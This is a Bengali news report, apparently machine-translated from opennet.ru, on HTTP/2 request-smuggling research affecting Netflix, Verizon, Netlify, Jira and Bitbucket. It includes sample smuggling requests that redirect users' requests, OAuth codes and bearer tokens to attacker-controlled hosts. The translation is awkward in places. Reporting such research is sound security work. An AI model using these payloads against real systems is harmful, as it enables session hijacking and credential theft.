ফ্রন্ট-এন্ড-ব্যাকএন্ড সিস্টেমের উপর একটি নতুন আক্রমণ যা আপনাকে অনুরোধের সাথে যুক্ত করতে দেয়

যেসব ওয়েব সিস্টেমে সামনের প্রান্ত HTTP/2 এর মাধ্যমে সংযোগ গ্রহণ করে এবং HTTP/1.1 এর মাধ্যমে ব্যাকএন্ডে প্রেরণ করে সেগুলিকে "HTTP অনুরোধ চোরাচালান" আক্রমণের একটি নতুন রূপের সম্মুখিন করা হয়েছে, যা বিশেষভাবে ডিজাইন করা ক্লায়েন্টের অনুরোধ পাঠানোর মাধ্যমে অনুমতি দেয়। ফ্রন্টএন্ড এবং ব্যাকএন্ডের মধ্যে একই প্রবাহে প্রক্রিয়াকৃত অন্যান্য ব্যবহারকারীদের অনুরোধের বিষয়বস্তুতে ওয়েজ। আক্রমণটি একটি বৈধ ওয়েবসাইটের সাথে একটি সেশনে দূষিত জাভাস্ক্রিপ্ট কোড সন্নিবেশ করতে ব্যবহার করা যেতে পারে, অ্যাক্সেস সীমাবদ্ধতা সিস্টেমকে বাইপাস করতে এবং প্রমাণীকরণের পরামিতিগুলিকে বাধা দিতে পারে৷

সমস্যাটি ওয়েব প্রক্সি, লোড ব্যালেন্সার, ওয়েব এক্সিলারেটর, কন্টেন্ট ডেলিভারি সিস্টেম এবং অন্যান্য কনফিগারেশনগুলিকে প্রভাবিত করে যেখানে অনুরোধগুলি সামনে-এন্ড-টু-ব্যাকএন্ড পদ্ধতিতে পুনঃনির্দেশিত হয়। গবেষণার লেখক Netflix, Verizon, Bitbucket, Netlify CDN এবং Atlassian এর সিস্টেমগুলিতে আক্রমণ করার সম্ভাবনা প্রদর্শন করেছেন এবং দুর্বলতা সনাক্ত করার জন্য 56 হাজার ডলার পুরষ্কার প্রোগ্রাম পেয়েছেন। F5 নেটওয়ার্ক পণ্যগুলিতেও সমস্যাটি নিশ্চিত করা হয়েছে। সমস্যাটি Apache HTTP সার্ভারে (CVE-2021-33193) mod_proxy-কে আংশিকভাবে প্রভাবিত করে, সংস্করণ 2.4.49-এ একটি সমাধান প্রত্যাশিত (ডেভেলপারদের মে মাসের শুরুতে সমস্যা সম্পর্কে অবহিত করা হয়েছিল এবং এটি ঠিক করার জন্য 3 মাস সময় দেওয়া হয়েছিল)। nginx-এ, "সামগ্রী-দৈর্ঘ্য" এবং "ট্রান্সফার-এনকোডিং" শিরোনামগুলি একই সাথে নির্দিষ্ট করার ক্ষমতা শেষ প্রকাশে (1.21.1) ব্লক করা হয়েছিল। অ্যাটাক টুল ইতিমধ্যেই Burp টুলকিটে অন্তর্ভুক্ত করা হয়েছে এবং টার্বো ইনট্রুডার এক্সটেনশন আকারে উপলব্ধ।

ট্র্যাফিকের মধ্যে ওয়েডিং রিকোয়েস্টের নতুন পদ্ধতির ক্রিয়াকলাপের নীতিটি দুই বছর আগে একই গবেষক দ্বারা চিহ্নিত দুর্বলতার অনুরূপ, তবে HTTP/1.1 এর মাধ্যমে অনুরোধগুলি গ্রহণকারী ফ্রন্টএন্ডের মধ্যে সীমাবদ্ধ। আসুন আমরা স্মরণ করি যে ফ্রন্টএন্ড-ব্যাকএন্ড স্কিমে, ক্লায়েন্টের অনুরোধগুলি একটি অতিরিক্ত নোড দ্বারা গৃহীত হয় - ফ্রন্টএন্ড, যা ব্যাকএন্ডের সাথে একটি দীর্ঘস্থায়ী TCP সংযোগ স্থাপন করে, যা সরাসরি অনুরোধগুলি প্রক্রিয়া করে। এই সাধারণ সংযোগের মাধ্যমে, বিভিন্ন ব্যবহারকারীদের কাছ থেকে অনুরোধগুলি সাধারণত প্রেরণ করা হয়, যা HTTP প্রোটোকলের মাধ্যমে আলাদা করে একের পর এক চেইন অনুসরণ করে।

ক্লাসিক "HTTP রিকোয়েস্ট স্মাগলিং" আক্রমণটি এই সত্যের উপর ভিত্তি করে করা হয়েছিল যে ফ্রন্টএন্ড এবং ব্যাকএন্ডগুলি HTTP হেডার "কন্টেন্ট-লেন্থ" (অনুরোধে ডেটার মোট আকার নির্ধারণ করে) এবং "ট্রান্সফার-এনকোডিং: খণ্ডিত" (অনুমতি দেয়) এর ব্যবহার ব্যাখ্যা করে ডেটা অংশে স্থানান্তর করতে হবে) ভিন্নভাবে। উদাহরণস্বরূপ, যদি ফ্রন্টএন্ড শুধুমাত্র "সামগ্রী-দৈর্ঘ্য" সমর্থন করে কিন্তু "স্থানান্তর-এনকোডিং: খণ্ডিত" উপেক্ষা করে, তাহলে একজন আক্রমণকারী একটি অনুরোধ পাঠাতে পারে যাতে "সামগ্রী-দৈর্ঘ্য" এবং "স্থানান্তর-এনকোডিং: খণ্ডিত" শিরোনাম উভয়ই রয়েছে, কিন্তু আকার হল "সামগ্রী-দৈর্ঘ্য" খণ্ডিত চেইনের আকারের সাথে মেলে না৷ এই ক্ষেত্রে, ফ্রন্টএন্ড "সামগ্রী-দৈর্ঘ্য" অনুসারে অনুরোধটি প্রক্রিয়া করবে এবং পুনঃনির্দেশ করবে এবং ব্যাকএন্ড "ট্রান্সফার-এনকোডিং: খণ্ডিত" এর উপর ভিত্তি করে ব্লকটি সম্পূর্ণ হওয়ার জন্য অপেক্ষা করবে এবং আক্রমণকারীর অনুরোধের অবশিষ্ট লেজটি করবে। অন্য কারো অনুরোধের শুরুতে পরবর্তী প্রেরণ করা.

টেক্সট প্রোটোকল HTTP/1.1 থেকে ভিন্ন, যা লাইন লেভেলে পার্স করা হয়, HTTP/2 হল একটি বাইনারি প্রোটোকল এবং একটি পূর্ব-নির্দিষ্ট আকারের ডেটা ব্লকগুলিকে ম্যানিপুলেট করে। যাইহোক, HTTP/2 ছদ্ম-হেডার ব্যবহার করে যা নিয়মিত HTTP শিরোনামগুলির সাথে মিলে যায়। HTTP/1.1 প্রোটোকলের মাধ্যমে ব্যাকএন্ডের সাথে ইন্টারঅ্যাকশনের ক্ষেত্রে, ফ্রন্টএন্ড এই ছদ্ম-হেডারগুলিকে অনুরূপ HTTP হেডার HTTP/1.1-এ অনুবাদ করে। সমস্যা হল যে ব্যাকএন্ড মূল অনুরোধের পরামিতি সম্পর্কে তথ্য না রেখেই ফ্রন্টএন্ড দ্বারা সেট করা HTTP শিরোনামের উপর ভিত্তি করে স্ট্রীম পার্স করার বিষয়ে সিদ্ধান্ত নেয়।

বিশেষত, "সামগ্রী-দৈর্ঘ্য" এবং "স্থানান্তর-এনকোডিং" মানগুলি ছদ্ম-শিরোনাম আকারে প্রেরণ করা যেতে পারে, যদিও সেগুলি HTTP/2-এ ব্যবহার করা হয় না, যেহেতু সমস্ত ডেটার আকার নির্ধারিত হয় একটি পৃথক ক্ষেত্রে। যাইহোক, HTTP/2 অনুরোধকে HTTP/1.1 তে রূপান্তর করার প্রক্রিয়া চলাকালীন, এই শিরোনামগুলি বহন করা হয় এবং ব্যাকএন্ডকে বিভ্রান্ত করতে পারে। দুটি প্রধান আক্রমণের রূপ রয়েছে: H2.TE এবং H2.CL, যেখানে ব্যাকএন্ড একটি ভুল স্থানান্তর-এনকোডিং বা বিষয়বস্তু-দৈর্ঘ্যের মান দ্বারা বিভ্রান্ত হয় যা ফ্রন্টএন্ডের মাধ্যমে প্রাপ্ত অনুরোধের বডির প্রকৃত আকারের সাথে সঙ্গতিপূর্ণ নয় HTTP/2 প্রোটোকল।

H2.CL আক্রমণের একটি উদাহরণ হল Netflix-এ একটি HTTP/2 অনুরোধ পাঠানোর সময় বিষয়বস্তু-দৈর্ঘ্য ছদ্ম-শিরোনামে একটি ভুল আকার নির্দিষ্ট করা। এই অনুরোধটি HTTP/1.1 এর মাধ্যমে ব্যাকএন্ড অ্যাক্সেস করার সময় একটি অনুরূপ HTTP শিরোনাম বিষয়বস্তু-দৈর্ঘ্য যুক্ত করার দিকে নিয়ে যায়, কিন্তু যেহেতু বিষয়বস্তু-দৈর্ঘ্যের আকার প্রকৃত একের চেয়ে কম নির্দিষ্ট করা হয়, তাই টেলের ডেটার অংশ হিসাবে প্রক্রিয়া করা হয় পরবর্তী অনুরোধের শুরু।

উদাহরণস্বরূপ, অনুরোধ HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 হোস্ট: 02.rs?x.netflix.com Foo: bar

এর ফলে ব্যাকএন্ডে একটি অনুরোধ পাঠানো হবে: POST /n HTTP/1.1 হোস্ট: www.netflix.com বিষয়বস্তু-দৈর্ঘ্য: 4 abcdGET /n HTTP/1.1 হোস্ট: 02.rs?x.netflix.com Foo: bar

যেহেতু বিষয়বস্তুর দৈর্ঘ্য 4 এর মান রয়েছে, তাই ব্যাকএন্ড অনুরোধের মূল অংশ হিসাবে শুধুমাত্র "abcd" গ্রহণ করবে এবং বাকি "GET /n HTTP/1.1..." পরবর্তী অনুরোধের শুরু হিসাবে প্রক্রিয়া করা হবে অন্য ব্যবহারকারীর সাথে যুক্ত। তদনুসারে, স্ট্রীমটি ডিসিঙ্ক্রোনাইজ হয়ে যাবে এবং পরবর্তী অনুরোধের প্রতিক্রিয়া হিসাবে, ডামি অনুরোধ প্রক্রিয়াকরণের ফলাফল জারি করা হবে। Netflix-এর ক্ষেত্রে, একটি ডামি অনুরোধে "হোস্ট:" শিরোনামে একটি তৃতীয় পক্ষের হোস্ট উল্লেখ করার ফলে ক্লায়েন্ট "অবস্থান: https://02.rs?x.netflix.com/n" প্রতিক্রিয়া ফেরত দেয় এবং Netflix সাইটের প্রেক্ষাপটে আপনার JavaScript কোড চালান সহ ক্লায়েন্টকে নির্বিচারে সামগ্রী পাঠানোর অনুমতি দেয়।

দ্বিতীয় আক্রমণ বিকল্পটি (H2.TE) "ট্রান্সফার-এনকোডিং: খণ্ডিত" হেডার প্রতিস্থাপন করে। HTTP/2-এ স্থানান্তর-এনকোডিং ছদ্ম-শিরোনামের ব্যবহার স্পেসিফিকেশন দ্বারা নিষিদ্ধ এবং এটির সাথে অনুরোধগুলিকে ভুল হিসাবে বিবেচনা করার জন্য নির্ধারিত করা হয়েছে। তা সত্ত্বেও, কিছু ফ্রন্টএন্ড বাস্তবায়ন এই প্রয়োজনীয়তাকে বিবেচনায় নেয় না এবং HTTP/2-এ একটি ট্রান্সফার-এনকোডিং সিউডো-হেডার ব্যবহারের অনুমতি দেয়, যা একই রকম HTTP হেডারে রূপান্তরিত হয়। যদি একটি "ট্রান্সফার-এনকোডিং" শিরোনাম থাকে, তবে ব্যাকএন্ড এটিকে একটি উচ্চ অগ্রাধিকার হিসাবে নিতে পারে এবং "{size}\r\n{block" ফর্ম্যাটে বিভিন্ন আকারের ব্লক ব্যবহার করে "খণ্ডিত" মোডে টুকরো টুকরো ডেটা পার্স করতে পারে }\r\n{size} \r\n{block}\r\n0", সামগ্রিক আকার দ্বারা প্রাথমিক বিভাজন সত্ত্বেও।

ভেরিজনের উদাহরণ দ্বারা এই ধরনের ব্যবধানের উপস্থিতি প্রমাণিত হয়েছিল। সমস্যাটি প্রমাণীকরণ পোর্টাল এবং বিষয়বস্তু ব্যবস্থাপনা সিস্টেমের সাথে সম্পর্কিত, যা হাফিংটন পোস্ট এবং এনগ্যাজেটের মতো সাইটগুলিতেও ব্যবহৃত হয়। উদাহরণস্বরূপ, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ট্রান্সফার-এনকোডিং 0 GET /oops HTTP/1.1 হোস্টের মাধ্যমে একটি ক্লায়েন্ট অনুরোধ: psres.net সামগ্রী-দৈর্ঘ্য: 10 x=

ব্যাকএন্ডে একটি HTTP/1.1 অনুরোধ পাঠানোর ফলে: POST /identity/XUI HTTP/1.1 হোস্ট: id.b2b.oath.com বিষয়বস্তু-দৈর্ঘ্য: 66 স্থানান্তর-এনকোডিং: খণ্ডিত 0 GET /oops HTTP/1.1 হোস্ট: psres. নেট সামগ্রী- দৈর্ঘ্য: 10x=

ব্যাকএন্ড, পরিবর্তে, "সামগ্রী-দৈর্ঘ্য" শিরোনাম উপেক্ষা করে এবং "ট্রান্সফার-এনকোডিং: খণ্ডিত" এর উপর ভিত্তি করে ইন-স্ট্রীম বিভাজন সম্পাদন করে। অনুশীলনে, আক্রমণটি ব্যবহারকারীর অনুরোধগুলিকে তাদের ওয়েবসাইটে পুনঃনির্দেশিত করা সম্ভব করেছে, যার মধ্যে OAuth প্রমাণীকরণ সম্পর্কিত অনুরোধগুলি বাধা দেওয়া, যার পরামিতিগুলি রেফারার হেডারে প্রদর্শিত হয়েছিল, সেইসাথে একটি প্রমাণীকরণ সেশনের অনুকরণ করা এবং শংসাপত্র প্রেরণের জন্য ব্যবহারকারীর সিস্টেমকে ট্রিগার করা। আক্রমণকারীর হোস্টের কাছে। GET /b2blanding/show/oops HTTP/1.1 হোস্ট: psres.net রেফারার: ​​https://id.b2b.oath.com/?…&code=secret GET/HTTP/1.1 হোস্ট: psres.net অনুমোদন: বহনকারী eyJhcGwiOiJIUzI1Gi1sInkR6cCII6

ট্রান্সফার-এনকোডিং সিউডো-হেডারকে নির্দিষ্ট করার অনুমতি দেয় না এমন HTTP/2 বাস্তবায়নকে আক্রমণ করার জন্য, অন্য একটি পদ্ধতি প্রস্তাব করা হয়েছে যাতে "ট্রান্সফার-এনকোডিং" শিরোনামটিকে একটি নতুন লাইন অক্ষর দ্বারা পৃথক করা অন্যান্য সিউডো-হেডারের সাথে সংযুক্ত করে প্রতিস্থাপন করা জড়িত। এই ক্ষেত্রে HTTP/1.1 এ রূপান্তরিত হলে দুটি পৃথক HTTP শিরোনাম তৈরি করে)।

উদাহরণস্বরূপ, Atlassian Jira এবং Netlify CDN (Firefox-এ Mozilla স্টার্ট পেজ পরিবেশন করতে ব্যবহৃত) এই সমস্যা দ্বারা প্রভাবিত হয়েছিল। বিশেষভাবে, HTTP/2 অনুরোধ :method POST :path / :authority start.mozilla.org foo b\r\n ট্রান্সফার-এনকোডিং: খণ্ডিত 0\r\n \r\n GET/HTTP/1.1\r\n হোস্ট : evil-netlify-domain\r\n বিষয়বস্তু-দৈর্ঘ্য: 5\r\n \r\nx=

এর ফলে HTTP/1.1 POST/HTTP/1.1 অনুরোধ পাঠানো হয়েছে ব্যাকএন্ডে\r\n হোস্ট: start.mozilla.org\r\n Foo: b\r\n স্থানান্তর-এনকোডিং: খণ্ডিত\r\n বিষয়বস্তু-দৈর্ঘ্য : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n হোস্ট: evil-netlify-domain\r\n বিষয়বস্তু-দৈর্ঘ্য: 5\r\n \r \nx=

"ট্রান্সফার-এনকোডিং" শিরোনাম প্রতিস্থাপনের জন্য আরেকটি বিকল্প ছিল এটিকে অন্য ছদ্ম-শিরোনামের নামের সাথে বা অনুরোধ পদ্ধতি সহ একটি লাইনের সাথে সংযুক্ত করা। উদাহরণস্বরূপ, অ্যাটলাসিয়ান জিরা অ্যাক্সেস করার সময়, ছদ্ম-হেডার নাম "foo:bar\r\ntransfer-encoding" মান "chunked" এর ফলে HTTP হেডার "foo:bar" এবং "transfer-encoding: chunked" যোগ করা হয়েছে। , এবং ছদ্ম-শিরোনাম ": পদ্ধতি" মান "GET/HTTP/1.1\r\nট্রান্সফার-এনকোডিং: খণ্ডিত"-কে "GET/HTTP/1.1\r\nট্রান্সফার-এনকোডিং: chunked"-এ অনুবাদ করা হয়েছে।

যে গবেষক সমস্যাটি চিহ্নিত করেছেন তিনি ফ্রন্টএন্ড আক্রমণ করার জন্য একটি অনুরোধ টানেলিং কৌশলও প্রস্তাব করেছেন, যেখানে প্রতিটি আইপি ঠিকানা ব্যাকএন্ডের সাথে একটি পৃথক সংযোগ স্থাপন করে এবং বিভিন্ন ব্যবহারকারীর ট্র্যাফিক মিশ্রিত হয় না। প্রস্তাবিত কৌশলটি অন্য ব্যবহারকারীদের অনুরোধের সাথে হস্তক্ষেপ করার অনুমতি দেয় না, তবে এটি একটি শেয়ার্ড ক্যাশে বিষাক্ত করা সম্ভব করে যা অন্যান্য অনুরোধের প্রক্রিয়াকরণকে প্রভাবিত করে এবং ফ্রন্টএন্ড থেকে ব্যাকএন্ডে পরিষেবা তথ্য স্থানান্তর করতে ব্যবহৃত অভ্যন্তরীণ HTTP হেডারগুলির প্রতিস্থাপনের অনুমতি দেয় ( উদাহরণস্বরূপ, যখন এই ধরনের হেডারে ফ্রন্টএন্ড সাইডে প্রমাণীকরণ করা হয় তখন বর্তমান ব্যবহারকারী সম্পর্কে তথ্য ব্যাকএন্ডে প্রেরণ করতে পারে)। অনুশীলনে পদ্ধতিটি প্রয়োগ করার উদাহরণ হিসাবে, ক্যাশে বিষ ব্যবহার করে, বিটবাকেট পরিষেবাতে পৃষ্ঠাগুলির উপর নিয়ন্ত্রণ অর্জন করা সম্ভব হয়েছিল।

উত্স: opennet.ru